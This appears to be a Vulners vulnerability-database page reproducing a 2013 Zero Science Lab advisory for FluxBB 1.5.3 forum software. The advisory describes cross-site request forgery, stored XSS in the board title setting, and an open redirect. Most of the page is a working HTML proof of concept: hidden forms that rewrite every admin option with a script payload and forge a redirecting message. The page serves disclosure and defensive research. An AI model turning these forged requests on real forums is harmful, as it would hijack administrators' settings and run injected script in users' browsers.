Vulners
Lucene search
FluxBB 1.5.3 Multiple Remote Vulnerabilities
<!--
FluxBB 1.5.3 Multiple Remote Vulnerabilities
Vendor: FluxBB
Product web page: http://www.fluxbb.org
Affected version: 1.5.3
Summary: FluxBB is fast, light, user-friendly forum software for your website.
Desc: FluxBB suffers from a cross-site scripting, cross-site request forgery
and URL redirect vulnerability. The application allows users to perform certain
actions via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. Input passed via the
'redirect_url' parameter in 'misc.php' script is not properly verified before
being used to redirect users. This can be exploited to redirect a user to an
arbitrary website e.g. when a user clicks a specially crafted link to the
affected script hosted on a trusted domain. It also fails to properly sanitize
user-supplied input to the 'form[board_title]' POST parameter in the 'admin_options.php'
script. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5150
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5150.php
27.07.2013
--><html>
<head>
<title>FluxBB 1.5.3 Multiple Remote Vulnerabilities</title>
</head>
<body><center><br/>
<form action="http://localhost/fluxbb/admin_options.php" method="POST">
<input name="form_sent" type="hidden" value="1"/>
<input name="form[board_title]" type="hidden" value="<script>alert(1)</script>"/>
<input name="form[base_url]" type="hidden" value="http://localhost/fluxbb"/>
<input name="form[default_timezone" type="hidden" value="0"/>
<input name="form[default_dst" type="hidden" value="0"/>
<input name="form[default_lang" type="hidden" value="English"/>
<input name="form[default_style" type="hidden" value="Air"/>
<input name="form[time_format" type="hidden" value="H:i:s"/>
<input name="form[date_format" type="hidden" value="Y-m-d"/>
<input name="form[timeout_visit" type="hidden" value="1800"/>
<input name="form[timeout_online" type="hidden" value="300"/>
<input name="form[redirect_delay" type="hidden" value="1"/>
<input name="form[show_version" type="hidden" value="0"/>
<input name="form[show_user_info" type="hidden" value="1"/>
<input name="form[show_post_count" type="hidden" value="1"/>
<input name="form[smilies]" type="hidden" value="1"/>
<input name="form[smilies_sig" type="hidden" value="1"/>
<input name="form[make_links" type="hidden" value="1"/>
<input name="form[topic_review" type="hidden" value="15"/>
<input name="form[disp_topics_default" type="hidden" value="30"/>
<input name="form[disp_posts_default" type="hidden" value="25"/>
<input name="form[indent_num_spaces" type="hidden" value="4"/>
<input name="form[quote_depth" type="hidden" value="3"/>
<input name="form[quickpost" type="hidden" value="1"/>
<input name="form[users_online" type="hidden" value="1"/>
<input name="form[censoring" type="hidden" value="0"/>
<input name="form[signatures" type="hidden" value="1"/>
<input name="form[show_dot" type="hidden" value="0"/>
<input name="form[topic_views" type="hidden" value="1"/>
<input name="form[quickjump" type="hidden" value="1"/>
<input name="form[gzip" type="hidden" value="0"/>
<input name="form[search_all_forums" type="hidden" value="0"/>
<input name="form[additional_navlinks" type="hidden" value=""/>
<input name="form[feed_type" type="hidden" value="2"/>
<input name="form[feed_ttl" type="hidden" value="0"/>
<input name="form[report_method" type="hidden" value="0"/>
<input name="form[mailing_list" type="hidden" value="[email protected]"/>
<input name="form[avatars" type="hidden" value="1"/>
<input name="form[avatars_dir" type="hidden" value="img/avatars"/>
<input name="form[avatars_width" type="hidden" value="60"/>
<input name="form[avatars_height" type="hidden" value="60"/>
<input name="form[avatars_size" type="hidden" value="10240"/>
<input name="form[admin_email" type="hidden" value="[email protected]"/>
<input name="form[webmaster_email" type="hidden" value="[email protected]"/>
<input name="form[forum_subscriptions" type="hidden" value="1"/>
<input name="form[topic_subscriptions" type="hidden" value="1"/>
<input name="form[smtp_host" type="hidden" value=""/>
<input name="form[smtp_user" type="hidden" value=""/>
<input name="form[smtp_pass1" type="hidden" value=""/>
<input name="form[smtp_pass2" type="hidden" value=""/>
<input name="form[smtp_ssl" type="hidden" value="0"/>
<input name="form[regs_allow" type="hidden" value="1"/>
<input name="form[regs_verify" type="hidden" value="0"/>
<input name="form[regs_report" type="hidden" value="0"/>
<input name="form[rules" type="hidden" value="0"/>
<input name="form[rules_message" type="hidden" value="Enter+your+rules+here"/>
<input name="form[default_email_setting" type="hidden" value="1"/>
<input name="form[announcement" type="hidden" value="0"/>
<input name="form[announcement_message" type="hidden" value="Enter+your+announcement+here."/>
<input name="form[maintenance" type="hidden" value="0"/>
<input name="form[maintenance_message" type="hidden" value="Forum Down!"/>
<input name="save" type="hidden" value="Save+changes"/>
<input type="submit" value="XSS"/>
</form>
<br/>
<form action="http://localhost/fluxbb/misc.php?email=2" method="POST">
<input name="form_sent" type="hidden" value="1"/>
<input name="redirect_url" type="hidden" value="http://www.zeroscience.mk"/>
<input name="req_message" type="hidden" value="Follow the Spirit"/>
<input name="req_subject" type="hidden" value="ZSL"/>
<input name="submit" type="hidden" value="Submit"/>
<input type="submit" value="Forge and Redirect"/>
</form>
</center></body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jul 2013 00:00Current
6.1Medium risk
Vulners AI Score6.1